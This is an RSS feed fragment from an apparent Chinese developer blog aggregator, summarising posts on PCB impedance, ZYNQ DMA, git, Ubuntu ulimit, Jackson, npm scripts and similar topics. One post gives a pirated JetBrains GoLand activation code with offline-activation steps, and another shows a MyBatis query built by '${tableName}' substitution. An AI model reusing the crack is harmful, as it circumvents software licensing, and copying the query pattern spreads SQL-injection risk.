      <description>1. 阻抗匹配&#xA;具有电阻、电感和电容的电路里，对交流电所起的阻碍作用叫做阻抗。阻抗常用Z表示，阻抗的单位是欧。对于一个具体电路，阻抗不是不变的，而是随着频率变化而变化。类似于向墙上扔皮球，要把皮球传过去，但是墙是硬的，会弹回来，如果是扔到窗帘上就不会弹回来，阻抗的意义就是让发射，接收，传输过程中能量都是一致的衰减程度，不会有能力反射，向皮球一样，连续不断地向墙上扔皮球，如果有皮球弹回来，就会和正在扔过去的皮球撞上，这就类似于一个方波信号在取反的时候有毛刺震荡。&#xA;阻抗匹配则传输功率大，对于一个电源来讲，当它的内阻等于负载时，输出功率最大，此时阻抗匹配。阻抗匹配是指在能量传输时，要求输出阻抗，负载阻抗要和传输线的特征阻抗相等此时的传输不会产生反射，这表明所有能量都被负载吸收了。高速 PCB布线时，为了防止信号的反射，通常要求是线路的阻抗为单端50欧姆，差分100欧。&#xA;也就是P0 = Z0 =Z1=50欧。&#xA;阻抗匹配一般有2种方式，串电阻和并电阻。&#xA;经常会见到这种结构，输出串一个电阻，输入并一个电阻。因为输出时，经常内部很低，有很强驱动能力，假设是17欧，串个33欧，输出就是50欧，传输线是50欧，接收时，输入引脚通常是内阻很大的，那么并一个49欧，电阻会比2个都小，接近49欧，这样就实现了阻抗匹配。&#xA;那么什么时候都要考虑阻抗匹配？&#xA;实际上当电缆的长度对于信号的波长来说可以忽略不计时，就勿需阻抗匹配的。&#xA;考虑信号频率为1MHz，其波长在空气中为300m，在同轴电缆中约为200m。在通常使用的长度为1m左右的同轴电缆中，是在完全可忽略的范围之内。但千兆以太网1000M，在电路板上波长0.2m。和电路板走线走线已经是一个数量级了，需要考虑了。&#xA;2. 单端阻抗和差分阻抗&#xA;单端就是一根线，高电平1，电平0。差分线，2根线的电压差正代表1，负代表0，可知，差分线可以降低一半的电压达到同样的0-1幅度，但多了一根线。好处是有外界影响时同时影响2根线，抗干扰能力强。&#xA;3. 层叠结构&#xA;打开AD的层叠结构可以看到阻抗计算。&#xA;单端阻抗和三个因素相关，一个是铜皮厚度，一般是35um，电路板材介电常数，常用的板子是FR4，4.5左右，层厚，一般10mil-20mil，0.127mm的整数倍。用一个polar Si9000的软件来算，50欧单端要多宽的线。&#xA;输入参数。&#xA;差分同理。&#xA;先选中差分。再输入参数。&#xA;由此可见，差分需要控制线宽和中心距。实际用的时候，问清楚厂家的层厚，介电常数，就可以设计了。交付文件时大多会填写工艺说明，里面就有层叠结构，说明层厚，材料，就可以了。</description>
    </item>
    <item>
      <title>ZYNQ AXI DMA调试细节</title>
      <link>https://bchobby.github.io/posts/d2b6c17ca21b5caf36efcf00b3eb0205/</link>
      <pubDate>Sun, 10 Mar 2019 14:31:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2b6c17ca21b5caf36efcf00b3eb0205/</guid>
      <description>本文介绍ZYNQ AXI DMA的简单模式使用方法，查询模式（poll），不使用中断，32bit。&#xA;1.有关DMA的函数调用，去参照DMA的官方例程。所有的外设都是有ID的，先建立一个结构体，初始化外设，把外设的基地址赋值给结构体，对结构体进行赋值就是写相应的寄存器，控制DMA工作。所有的外设都有寄存器手册，自己去下载，直接看寄存器空间register space就可以了，例如DMA的寄存器手册。DMA有两种方式，我只学习了使用简单模式，Scatter / Gather Mode可以看其他博主的介绍。下面的代码是DMA的初始化，非常简单，以及开启一次DMA接收，数据从axis stream fifo到DMA到DDR3。&#xA;Xil_In32 和Xil_Out32直接读和写寄存器，还有Xil_In8和Xil_Out8，是按byte操作。&#xA;void DMA_INIT(void) { //初始化 int Status; XAxiDma_Config *Config; XScuGic_Config *IntcConfig; Config = XAxiDma_LookupConfig(XPAR_AXIDMA_0_DEVICE_ID); Status = XAxiDma_CfgInitialize(&amp;amp;AxiDma, Config); //不使能中断 XAxiDma_IntrDisable(&amp;amp;AxiDma, XAXIDMA_IRQ_ALL_MASK,XAXIDMA_DMA_TO_DEVICE); XAxiDma_IntrDisable(&amp;amp;AxiDma, XAXIDMA_IRQ_ALL_MASK,XAXIDMA_DEVICE_TO_DMA); //初始化DMA，初不初始化无所谓，跟进去就知道本质都在写寄存器 XAxiDma_Reset(&amp;amp;AxiDma); while(!XAxiDma_ResetIsDone(&amp;amp;AxiDma)); //打印寄存器 //0x4040 0000是DMA的基地址，在block design的address中可以看到，后面是偏移地址， //window-&amp;gt;address editor xil_printf(&#34;CR is %d\r\n&#34;, Xil_In32(0x40400000 + 0x30)); xil_printf(&#34;SR is %d\r\n&#34;, Xil_In32(0x40400000 + 0x34)); xil_printf(&#34;LENGTH is %d\r\n&#34;, Xil_In32(0x40400000 + 0x58)); //开始传输 Xil_Out32((0x40400000 + 0x30),1); //start dma Xil_Out32((0x40400000 + 0x48),base_addr); //set da address Xil_Out32((0x40400000 + 0x58),16383); //set length //再次打印，看寄存器的状态 xil_printf(&#34;</description>
    </item>
    <item>
      <title>ArgumentOutOfRangeException: Argument is out of range. Parameter name: index</title>
      <link>https://bchobby.github.io/posts/f0f81401517a217d0ce276bf2361b81e/</link>
      <pubDate>Sat, 09 Mar 2019 23:40:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0f81401517a217d0ce276bf2361b81e/</guid>
      <description>总是碰到如标题的错误。。整了好久才知道错在哪里。&#xA;原来我真的是数组超出范围了。。。。。我的天啊。。我还以为我不会再犯这种低级错误呢。。。。&#xA;当然这里我还想记录一下与此同时解决的问题。类数组的声明和使用。要使用这样的格式&#xA;private Point[] weights;&#xA;weights = new Point[3];&#xA;weights[0] = new Point(····);</description>
    </item>
    <item>
      <title>VS 设置dll保存目录,使得exe和dll不在同一目录</title>
      <link>https://bchobby.github.io/posts/50b6f2eb180e181c839473ce10379d73/</link>
      <pubDate>Sat, 09 Mar 2019 16:22:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50b6f2eb180e181c839473ce10379d73/</guid>
      <description>VS 设置dll保存目录,使得exe和dll不在同一目录 ##设置dll延迟加载&#xA;增加DLL的搜索路径,代码中添加如下代码&#xA;const char *dll_path = { “.\dll” };&#xA;SetDllDirectory(dll_path);&#xA;本文来自：&#xA;https://blog.csdn.net/d4567star/article/details/82993777</description>
    </item>
    <item>
      <title>求取最大公因数</title>
      <link>https://bchobby.github.io/posts/75b87dc9650ce918cdac613449a0fac2/</link>
      <pubDate>Sat, 09 Mar 2019 15:24:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75b87dc9650ce918cdac613449a0fac2/</guid>
      <description>一.题目名称：用不同的算法求最大公约数。&#xA;二.题目背景：通过使用“辗转相除法”“穷举法”“更相减损法”“Stein算法”来计算最大公因数，并且比较四种方法各自使用的时间。&#xA;三.题目分析：不同的方法有不同的解题步骤与思路，此题要求用四种不同的算法来计算最大公因数并且进行时间比较，我的想法是利用一个主函数分别调用四个函数算法，定义一个时间函数来计算时间，初始化一个随机数序列方便测试，因为四种算法是用两个整型数进行比较，而若要进行时间比较，一组数据是远远不够的，所以我的想法是，定义一个函数，将产生的随机数保存在一个数组内存在函数中，再逐个的进行运用与调用来完成时间比较。&#xA;四.所用方法&#xA;1.辗转相除法&#xA;算法过程：1.设两数为a,b设其中a做被除数,b做除数，t为余数&#xA;2.较大值存于a，较小值存于b 3.求a%b的余数赋值于t；&#xA;4.若t=0则b为最大公约数；&#xA;5.如果t!=0，则将b的值赋给a、b的值赋给t，返回第二步后再次进行计算。&#xA;算法代码：&#xA;void divisor1(int a,int b)&#xA;{&#xA;int t; //定义一个整型变量&#xA;if(a&amp;lt;b) //判断输入a，b的大小 {&#xA;t=a;a=b;b=t; //交换大小&#xA;}&#xA;while(b!=0) {&#xA;t=a%b; //求余&#xA;a=b; //互换&#xA;b=t;&#xA;}&#xA;cout&amp;lt;&amp;lt;&#34;the highest common divisor is &#34;&amp;lt;&amp;lt;a&amp;lt;&amp;lt;endl;&#xA;}&#xA;算法流程图：&#xA;2.穷举法&#xA;算法过程：1.设两数为a,b,并且定义一个t；&#xA;2.比较a，b大小，将较小值赋给t；&#xA;3.若t大于0，则进行判断，截止条件为当a，b同时将t整除时，t为最大公因数；&#xA;4.若不符合截止条件，则t进行递减继续进行第三步。&#xA;算法代码：&#xA;void divisor2(int a,int b) {&#xA;int t;&#xA;t=(a&amp;gt;b)?b:a; //将较小值赋给t&#xA;while(t&amp;gt;0)&#xA;{&#xA;if(a%t==0 &amp;amp;&amp;amp; b%t==0) //截止条件为a，b同时可以将t整除&#xA;{&#xA;break;&#xA;}&#xA;t--; //t递减直到可以整除为止&#xA;}&#xA;cout&amp;lt;&amp;lt;&#34;the highest common divisor is &#34;</description>
    </item>
    <item>
      <title>Git 教程（二）log 命令的使用</title>
      <link>https://bchobby.github.io/posts/4ca22c0b8abe9f4563c95d13c39d9790/</link>
      <pubDate>Sat, 09 Mar 2019 11:38:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ca22c0b8abe9f4563c95d13c39d9790/</guid>
      <description>使用 Git 进行版本控制时，要习惯他的工作流程，Git 的工作流程是，先在工作区创建项目并编写代码，然后将写好的文件添加到暂存区，最后将暂存区里的文件提交到历史版本库。如下图所示：&#xA;每向版本历史库做一次提交， Git 就会生成一个新的项目版本，这样的话，你就能很容易地找到之前的版本，在之前的版本上继续开发。使用git log命令就可以很方便地查看项目的版本演变历史。&#xA;单个分支 git log最简单的使用方式就是在当前分支下直接输入git log命令，该命令的作用是查看当前分支点所有提交记录（或者说是版本历史）。&#xA;git log #显示全部的版本历史 如果想让它简洁地显示，可以在后面加一个--oneline的选项，意思是每条版本历史只显示一行。&#xA;git log --oneline #简洁地显示版本演变历史 还可以指定显示最新的几条记录，在git log的后面加上-nx选项就好了，实际使用的时候，-nx中的x要换成具体的数字，比如：&#xA;git log -n2 #查看最近的两条记录 当然-nx与--oneline这两个选项也可以结合起来使用：&#xA;git log -n2 --oneline #简洁地显示最近两条记录 多个分支 前面我们只演示了如何在单个分支上使用git log命令，但是在实际的开发中，往往不止一个分支，当有多个分支时，git log命令该如何使用呢？&#xA;为了演示方便，我们先创建一个分支，用如下命令：&#xA;git checkout -b temp 9b56fe338ae3a33a4bc373c75597aec91dc5a2eb 其中，temp是用户自定义的分支名，9b56fe338ae3a33a4bc373c75597aec91dc5a2eb是版本标识，代表着你要以哪个版本为基础创建分支，如下图所示：&#xA;分支创建好之后，使用下面这个命令查看本地有多少分支：&#xA;git branch -v 上图中的master是主分支，而temp就是我们刚才创建的分支。&#xA;创建完分支后，Git 默认会留在你创建的这个分支中，这个时候如果输入git log命令，显示的就是当前temp分支的版本演变历史。&#xA;对 temp 分支下的readme.txt文件做一下修改，然后将其提交到版本历史库里面。&#xA;输入以下命令，可以查看所有分支的版本演变历史：&#xA;git log --all 但是这样看起来难免有些眼花缭乱，分不清分支之间的父子关系。那么你可以在后面加一个选项--graph，使之用图形化的方式显示。&#xA;git log --all --graph #以图形化的方式显示版本演变历史 这样就可以很明显地看出各分支的关系以及版本演变历史。&#xA;如果你想在当前分支下查看其他分支的版本演变历史，可以在git log命令后面加上分支名来查看指定分支的版本演变历史：&#xA;git log master # 查看master分支的版本演变历史 以上就是git log命令的几个常用选项，各个选项可以根据你的需求相互组合，比如，我想查看所有分支的最近的两条版本演变历史，并且让他以图形化的方式显示，而且还要简洁的地显示。那么可以这样输入命令：</description>
    </item>
    <item>
      <title>ModelSim-Altera或ModelSim-INTEL仿真库路径</title>
      <link>https://bchobby.github.io/posts/daa5229efb06b9c5beb5f32465fd3a1b/</link>
      <pubDate>Fri, 08 Mar 2019 19:43:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daa5229efb06b9c5beb5f32465fd3a1b/</guid>
      <description>ModelSim-Altera或ModelSim-INTEL已经包含了预编译库，不需要自己再编译库，但是每次仿真的时候需要指定库文件的目录。&#xA;一般库文件目录在X:\XXXXFPGA\XX.X\modelsim_ase\altera\verilog下&#xA;转载于:https://blog.51cto.com/14231739/2360282</description>
    </item>
    <item>
      <title>idea使用dababase tools时导出db2建表语句，索引显示错误</title>
      <link>https://bchobby.github.io/posts/f825405a8b2cfd91507112c637dd0846/</link>
      <pubDate>Fri, 08 Mar 2019 15:11:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f825405a8b2cfd91507112c637dd0846/</guid>
      <description>idea导出db2的建表语句问题 问题：（本次只是简单记录一下问题，防止以后再次遇到）&#xA;1、使用idea创建db2表索引是，不管下边这个Unique是否选择，等创建完成之后重新进来查看（或者用idea生成sql），都会显示为 勾选状态（也就是唯一索引）&#xA;2、使用idea的SQL Generate生成建表语句时，其普通索引会显示为“唯一索引” （具体原因尚未查明，可以我用的驱动版本过低导致）&#xA;解决：&#xA;1、使用db visualize或者使用命令生成ddl语句&#xA;2、查看：索引&#xA;执行： select * from syscat.indexes where tabname = ‘表名’;&#xA;查询结果：包含一个UNIQUERULE 该字段可以有三个值：P/U/D&#xA;其中：P：主键 U：唯一索引 D：普通索引</description>
    </item>
    <item>
      <title>Ubuntu 18.04 LTS ulimit 修改不生效的问题</title>
      <link>https://bchobby.github.io/posts/0659ee46f201ac0c87f8719fcaf6873b/</link>
      <pubDate>Fri, 08 Mar 2019 10:07:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0659ee46f201ac0c87f8719fcaf6873b/</guid>
      <description>玩过 Ubuntu Linux 系统的人都知道，更改系统的 open files 最大限制，一般都是通过以下方法来做：&#xA;第一步：打开终端并敲入以下命令以打开一个配置文件&#xA;$: sudo gedit /etc/security/limits.conf&#xA;第二步：在打开的文件中增加以下几行配置并保存关闭&#xA;......&#xA;* soft nofile 65536&#xA;* hard nofile 65536&#xA;# End of file&#xA;第三步：注销当前账户，并重新登录，打开终端后敲入以下命令进行验证&#xA;$ ulimit -a&#xA;......&#xA;open files (-n) 65536&#xA;......&#xA;这样几步就可大功告成！&#xA;但是，以上这些操作只能在 Ubuntu 16.04 及以下版本才能有效——到了 Ubuntu 18.04，却不起作用？百思不得其解，各种百度后无果，只好打开必应进行一番 E 文搜索，结果找到一篇老外的文章（https://superuser.com/questions/1200539/cannot-increase-open-file-limit-past-4096-ubuntu）。其中最有用的几句如下：&#xA;In Summary If you want to increase the limit shown by ulimit -n, you should:&#xA;Modify /etc/systemd/user.conf and /etc/systemd/system.conf with the following line (this takes care of graphical login):</description>
    </item>
    <item>
      <title>python实现简单计算器(&#43;-*/^())</title>
      <link>https://bchobby.github.io/posts/0a177c86e68bda21f9705b2ce0679b1d/</link>
      <pubDate>Thu, 07 Mar 2019 20:51:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0a177c86e68bda21f9705b2ce0679b1d/</guid>
      <description>功能介绍：&#xA;使用python实现简单的+-*/^()运算.&#xA;要求：&#xA;命令行输入表达式输入10^(-10)~10^(10)整数，且运算结果也属于此范围。实现简单的+-*/^()运算。输出结果保留10位有效整数，且不足时不能补零。 思路：将任务分解，逐层实现括号里面的运算。实现加减运算——&amp;gt;递归计算所有加减运算。实现乘除运算——&amp;gt;递归实现所有乘除运算。乘方运算——&amp;gt;递归实现所有乘方运算。按优先级进行基本运算 乘方——乘除——加减。&#xA;代码实现：&#xA;import re import sys def power_function(s): # 计算乘方 if &#39;^&#39; in s: ret = pow(float(s.split(&#39;^&#39;)[0]), float(s.split(&#39;^&#39;)[1])) else: pass return ret # print(power_function(&#39;10^-10&#39;)) def remove_power(s): # 递归计算不含括号里面的乘方 if &#39;^&#39; not in s : return s else: k = re.search(r&#39;-?[\d\.]+\^-?[\d\.]+&#39;, s).group() # 提取乘方表达式 s = s.replace(k, str(power_function(k))) return remove_power(s) # print(remove_power(&#39;10^-10&#39;)) def multiply_divide(s): #计算乘除 ret = float(s.split(&#39;*&#39;)[0]) * float(s.split(&#39;*&#39;)[1]) if &#39;*&#39; in s else float(s.</description>
    </item>
    <item>
      <title>Charles 使用之 https 抓包（包括安装信任证书以及抓包）</title>
      <link>https://bchobby.github.io/posts/3ea6884d19a9d1bab9b79f580e9a4042/</link>
      <pubDate>Thu, 07 Mar 2019 14:29:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ea6884d19a9d1bab9b79f580e9a4042/</guid>
      <description>1.环境：手机和电脑处于同一个局域网&#xA;2.打开电脑 右上角Wi-Fi标志，选择 打开网络偏好设置&#xA;3.打开手机 设置 -&amp;gt; 无线局域网 -&amp;gt; 选择与电脑相同的wifi -&amp;gt; 点击ℹ -&amp;gt; 配置代理 -&amp;gt; 选择手动 -&amp;gt; 服务器：填2中获取到的当前局域网内的IP地址 端口：8888 4.手机证书信任&#xA;4.1 打开 Charles -&amp;gt; Help -&amp;gt; SSL Proxying -&amp;gt; Install Charles Root Certificate in Mobile Device or Remote Broswer&#xA;4.1.1 弹出&#xA;Configure your device to use Charles as its HTTP proxy on 192.168.10.156:8888, then browse to chls.pro/ssl to download and install the certificate.&#xA;4.2 打开手机 在手机浏览器上输入“chls.pro/ssl”下载证书 Charles Proxy CA 选择安装</description>
    </item>
    <item>
      <title>JDK</title>
      <link>https://bchobby.github.io/posts/46cff7c2e22c5fb804c02d5b561b39f8/</link>
      <pubDate>Thu, 07 Mar 2019 11:46:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46cff7c2e22c5fb804c02d5b561b39f8/</guid>
      <description>HashMap：http://note.youdao.com/noteshare?id=e32e2db7a51e085648b09b6a0d95f999&#xA;ConcurrentHashMap： http://note.youdao.com/noteshare?id=21e11fe1b54d1ba72ea3f74c31a022eb</description>
    </item>
    <item>
      <title>objectMapper中自定义类型转换</title>
      <link>https://bchobby.github.io/posts/e07becf7d5414d63bbef23b6241cbea5/</link>
      <pubDate>Thu, 07 Mar 2019 11:16:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e07becf7d5414d63bbef23b6241cbea5/</guid>
      <description>日期类型转换 使用mapper.setDateFormat();来设置日期转换&#xA;@Select(&#34;select * from ${tableName}&#34;) List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; getTableData(@Param(&#34;tableName&#34;) String tableName); List&amp;lt;Map&amp;lt;String, Object&amp;gt;&amp;gt; tableDatas = tableDataMapper.getTableData(&#34;user&#34;); for (Map&amp;lt;String, Object&amp;gt; tableData: tableDatas) { ObjectMapper mapper = new ObjectMapper(); String data = mapper.writeValueAsString(tableData); System.out.println(data); mapper.setDateFormat(new SimpleDateFormat(&#34;yyyy-MM-dd HH:mm:ss.SSS&#34;)); data = mapper.writeValueAsString(tableData); System.out.println(data); System.out.println(&#34;=============&#34;); } 对于byte的处理 public static ObjectMapper getObjectMapperForUplink() { ObjectMapper mapper = new ObjectMapper(); // mapper.configure(SerializationFeature.INDENT_OUTPUT, true); mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false); mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); // 处理字节 SimpleModule simpleModule = new SimpleModule(); simpleModule.addSerializer(byte[].class, getByteSerialize()); mapper.registerModule(simpleModule); // 处理日期 mapper.</description>
    </item>
    <item>
      <title>package.json中的scripts脚本说明</title>
      <link>https://bchobby.github.io/posts/44e4d178b5033cc038d92c8b5959014d/</link>
      <pubDate>Thu, 07 Mar 2019 10:40:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/44e4d178b5033cc038d92c8b5959014d/</guid>
      <description>&#34;scripts&#34;: { &#34;dev&#34;: &#34;webpack-dev-server --inline --progress --config build/webpack.dev.conf.js&#34;, &#34;start&#34;: &#34;npm run dev&#34;, &#34;lint&#34;: &#34;eslint --ext .js,.vue src&#34;, &#34;build&#34;: &#34;cross-env NODE_ENV=development env_config=dev node build/build.js&#34;, &#34;build:prod&#34;: &#34;cross-env NODE_ENV=production env_config=prod node build/build.js&#34;, &#34;build:sit&#34;: &#34;cross-env NODE_ENV=production env_config=sit node build/build.js&#34; }, 1.以上为我的npm脚本,执行 npm run + scripts的key,就相当于执行scripts的key对应的value，&#xA;如：执行 npm run dev 等同于执行 webpack-dev-server --inline --progress --config build/webpack.dev.conf.js, 即启动程序&#xA;2.build，build:prod，build:sit分别代表给本地环境，生产环境，测试环境打包。&#xA;3.脚本涵义：如 cross-env NODE_ENV=decelopment env_config=dev node build/build.js&#xA;cross-env：可以跨平台地设置及使用环境变量（npm i --save-dev cross-env 安装使用）&#xA;NODE_ENV： config文件夹下对应环境配置的NODE_ENV值&#xA;env_config： config文件夹下对应环境配置的env_config 值</description>
    </item>
    <item>
      <title>阿里云CentO S网站部署</title>
      <link>https://bchobby.github.io/posts/6c0f77985ac4b03045a4a6a1f0c212f9/</link>
      <pubDate>Thu, 07 Mar 2019 00:15:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c0f77985ac4b03045a4a6a1f0c212f9/</guid>
      <description>一、JDK安装&#xA;查看CentOS自带JDK是否已安装&#xA;1&#xA;[root@test ~]# yum list installed |grep java&#xA;若有自带安装的JDK，应如下操作进行卸载CentOS系统自带Java环境&#xA;1&#xA;2&#xA;3&#xA;4&#xA;5&#xA;6&#xA;7&#xA;8&#xA;9&#xA;10&#xA;[root@test ~]# java -version&#xA;java version &#34;1.7.0_181&#34;&#xA;OpenJDK Runtime Environment (rhel-2.6.14.8.el6_9-x86_64 u181-b00)&#xA;OpenJDK 64-Bit Server VM (build 24.181-b00, mixed mode)&#xA;[root@test ~]# yum -y remove java-1.7.0-openjdk*&#xA;[root@test ~]# yum -y remove tzdata-java.noarch&#xA;[root@test ~]# java --version&#xA;-bash: /usr/bin/java: No such file or directory&#xA;查看yum库中的Java安装包&#xA;1&#xA;2&#xA;3&#xA;4</description>
    </item>
    <item>
      <title>goland激活码</title>
      <link>https://bchobby.github.io/posts/d9ced3e8d92aab5c776d270bc458b751/</link>
      <pubDate>Wed, 06 Mar 2019 19:19:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9ced3e8d92aab5c776d270bc458b751/</guid>
      <description> 1. goland License： http://idea.youbbs.org 失效 http://idea.iblue.me 可用 2019年3月6号更新 只限于18.2以下版本的使用，激活码从18.2开始失效，可使用的最高版本：goland-2018.1.7.exe&#xA;2. Activation code 激活方式 一直可用 只不过每天都要激活一次。。。 1. 断开外网。 2.将下面的code复制到 Activation code 里面。 56ZS5PQ1RF-eyJsaWNlbnNlSWQiOiI1NlpTNVBRMVJGIiwibGljZW5zZWVOYW1lIjoi5q2j54mI5o6I5p2DIC4iLCJhc3NpZ25lZU5hbWUiOiIiLCJhc3NpZ25lZUVtYWlsIjoiIiwibGljZW5zZVJlc3RyaWN0aW9uIjoiRm9yIGVkdWNhdGlvbmFsIHVzZSBvbmx5IiwiY2hlY2tDb25jdXJyZW50VXNlIjpmYWxzZSwicHJvZHVjdHMiOlt7ImNvZGUiOiJJSSIsInBhaWRVcFRvIjoiMjAyMC0wMy0xMCJ9LHsiY29kZSI6IkFDIiwicGFpZFVwVG8iOiIyMDIwLTAzLTEwIn0seyJjb2RlIjoiRFBOIiwicGFpZFVwVG8iOiIyMDIwLTAzLTEwIn0seyJjb2RlIjoiUFMiLCJwYWlkVXBUbyI6IjIwMjAtMDMtMTAifSx7ImNvZGUiOiJHTyIsInBhaWRVcFRvIjoiMjAyMC0wMy0xMCJ9LHsiY29kZSI6IkRNIiwicGFpZFVwVG8iOiIyMDIwLTAzLTEwIn0seyJjb2RlIjoiQ0wiLCJwYWlkVXBUbyI6IjIwMjAtMDMtMTAifSx7ImNvZGUiOiJSUzAiLCJwYWlkVXBUbyI6IjIwMjAtMDMtMTAifSx7ImNvZGUiOiJSQyIsInBhaWRVcFRvIjoiMjAyMC0wMy0xMCJ9LHsiY29kZSI6IlJEIiwicGFpZFVwVG8iOiIyMDIwLTAzLTEwIn0seyJjb2RlIjoiUEMiLCJwYWlkVXBUbyI6IjIwMjAtMDMtMTAifSx7ImNvZGUiOiJSTSIsInBhaWRVcFRvIjoiMjAyMC0wMy0xMCJ9LHsiY29kZSI6IldTIiwicGFpZFVwVG8iOiIyMDIwLTAzLTEwIn0seyJjb2RlIjoiREIiLCJwYWlkVXBUbyI6IjIwMjAtMDMtMTAifSx7ImNvZGUiOiJEQyIsInBhaWRVcFRvIjoiMjAyMC0wMy0xMCJ9LHsiY29kZSI6IlJTVSIsInBhaWRVcFRvIjoiMjAyMC0wMy0xMCJ9XSwiaGFzaCI6IjEyMjkxNDk4LzAiLCJncmFjZVBlcmlvZERheXMiOjAsImF1dG9Qcm9sb25nYXRlZCI6ZmFsc2UsImlzQXV0b1Byb2xvbmdhdGVkIjpmYWxzZX0=-SYSsDcgL1WJmHnsiGaHUWbaZLPIe2oI3QiIneDtaIbh/SZOqu63G7RGudSjf3ssPb1zxroMti/bK9II1ugHz/nTjw31Uah7D0HqeaCO7Zc0q9BeHysiWmBZ+8bABs5vr25GgIa5pO7CJhL7RitXQbWpAajrMBAeZ2En3wCgNwT6D6hNmiMlhXsWgwkw2OKnyHZ2dl8yEL+oV5SW14t7bdjYGKQrYjSd4+2zc4FnaX88yLnGNO9B3U6G+BuM37pxS5MjHrkHqMTK8W3I66mIj6IB6dYXD5nvKKO1OZREBAr6LV0BqRYSbuJKFhZ8nd6YDG20GvW6leimv0rHVBFmA0w==-MIIElTCCAn2gAwIBAgIBCTANBgkqhkiG9w0BAQsFADAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBMB4XDTE4MTEwMTEyMjk0NloXDTIwMTEwMjEyMjk0NlowaDELMAkGA1UEBhMCQ1oxDjAMBgNVBAgMBU51c2xlMQ8wDQYDVQQHDAZQcmFndWUxGTAXBgNVBAoMEEpldEJyYWlucyBzLnIuby4xHTAbBgNVBAMMFHByb2QzeS1mcm9tLTIwMTgxMTAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxcQkq+zdxlR2mmRYBPzGbUNdMN6OaXiXzxIWtMEkrJMO/5oUfQJbLLuMSMK0QHFmaI37WShyxZcfRCidwXjot4zmNBKnlyHodDij/78TmVqFl8nOeD5+07B8VEaIu7c3E1N+e1doC6wht4I4+IEmtsPAdoaj5WCQVQbrI8KeT8M9VcBIWX7fD0fhexfg3ZRt0xqwMcXGNp3DdJHiO0rCdU+Itv7EmtnSVq9jBG1usMSFvMowR25mju2JcPFp1+I4ZI+FqgR8gyG8oiNDyNEoAbsR3lOpI7grUYSvkB/xVy/VoklPCK2h0f0GJxFjnye8NT1PAywoyl7RmiAVRE/EKwIDAQABo4GZMIGWMAkGA1UdEwQCMAAwHQYDVR0OBBYEFGEpG9oZGcfLMGNBkY7SgHiMGgTcMEgGA1UdIwRBMD+AFKOetkhnQhI2Qb1t4Lm0oFKLl/GzoRykGjAYMRYwFAYDVQQDDA1KZXRQcm9maWxlIENBggkA0myxg7KDeeEwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgWgMA0GCSqGSIb3DQEBCwUAA4ICAQAF8uc+YJOHHwOFcPzmbjcxNDuGoOUIP+2h1R75Lecswb7ru2LWWSUMtXVKQzChLNPn/72W0k+oI056tgiwuG7M49LXp4zQVlQnFmWU1wwGvVhq5R63Rpjx1zjGUhcXgayu7+9zMUW596Lbomsg8qVve6euqsrFicYkIIuUu4zYPndJwfe0YkS5nY72SHnNdbPhEnN8wcB2Kz+OIG0lih3yz5EqFhld03bGp222ZQCIghCTVL6QBNadGsiN/lWLl4JdR3lJkZzlpFdiHijoVRdWeSWqM4y0t23c92HXKrgppoSV18XMxrWVdoSM3nuMHwxGhFyde05OdDtLpCv+jlWf5REAHHA201pAU6bJSZINyHDUTB+Beo28rRXSwSh3OUIvYwKNVeoBY+KwOJ7WnuTCUq1meE6GkKc4D/cXmgpOyW/1SmBz3XjVIi/zprZ0zf3qH5mkphtg6ksjKgKjmx1cXfZAAX6wcDBNaCL+Ortep1Dh8xDUbqbBVNBL4jbiL3i3xsfNiyJgaZ5sX7i8tmStEpLbPwvHcByuf59qJhV/bZOl8KqJBETCDJcY6O2aqhTUy+9x93ThKs1GKrRPePrWPluud7ttlgtRveit/pcBrnQcXOl1rHq7ByB8CFAxNotRUYL9IF5n3wJOgkPojMy6jetQA5Ogc8Sm7RG6vg1yow== 将附加信息去掉，如：&#xA;点击OK；&#xA;3. 两分钟后在开启外网。 </description>
    </item>
    <item>
      <title>二、手机端下滑分页</title>
      <link>https://bchobby.github.io/posts/ce5dee0ea88a10c3643c603cd124805c/</link>
      <pubDate>Wed, 06 Mar 2019 19:01:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ce5dee0ea88a10c3643c603cd124805c/</guid>
      <description>demo地址：https://github.com/chenjy512/appdemo.git demo可能有点乱&#xA;问题：最近需要在手机端开发下滑分页功能，这就需要涉及到ios与安卓系统的兼容问题。在实际开发过程中遇到了：&#xA;1.手机浏览器不支持windos.open 与 windos.close 函数，&#xA;2.所以使用两个iframe来实现打开关闭页面，那么就遇到了一个是在当前页面滑动分了，一个是在iframe下滑动分页。至于为什么这样后面来解释。&#xA;下滑动加载分页 前提需要搭建一个springmvc工程，用于ajax数据传输&#xA;mobile.jsp页面用户下滑获取数据&#xA;&amp;lt;%@ page language=&#34;java&#34; import=&#34;java.util.*&#34; pageEncoding=&#34;UTF-8&#34;%&amp;gt; &amp;lt;%@ taglib prefix=&#34;c&#34; uri=&#34;http://java.sun.com/jsp/jstl/core&#34;%&amp;gt; &amp;lt;% String path = request.getContextPath(); String basePath = request.getScheme()+&#34;://&#34;+request.getServerName()+&#34;:&#34;+request.getServerPort()+path+&#34;/&#34;; %&amp;gt; &amp;lt;!DOCTYPE html PUBLIC &#34;-//WAPFORUM//DTD XHTML Mobile 1.0//EN&#34; &#34;http://www.wapforum.org/DTD/xhtml-mobile10.dtd&#34;&amp;gt; &amp;lt;html xmlns=&#34;http://www.w3.org/1999/xhtml&#34;&amp;gt; 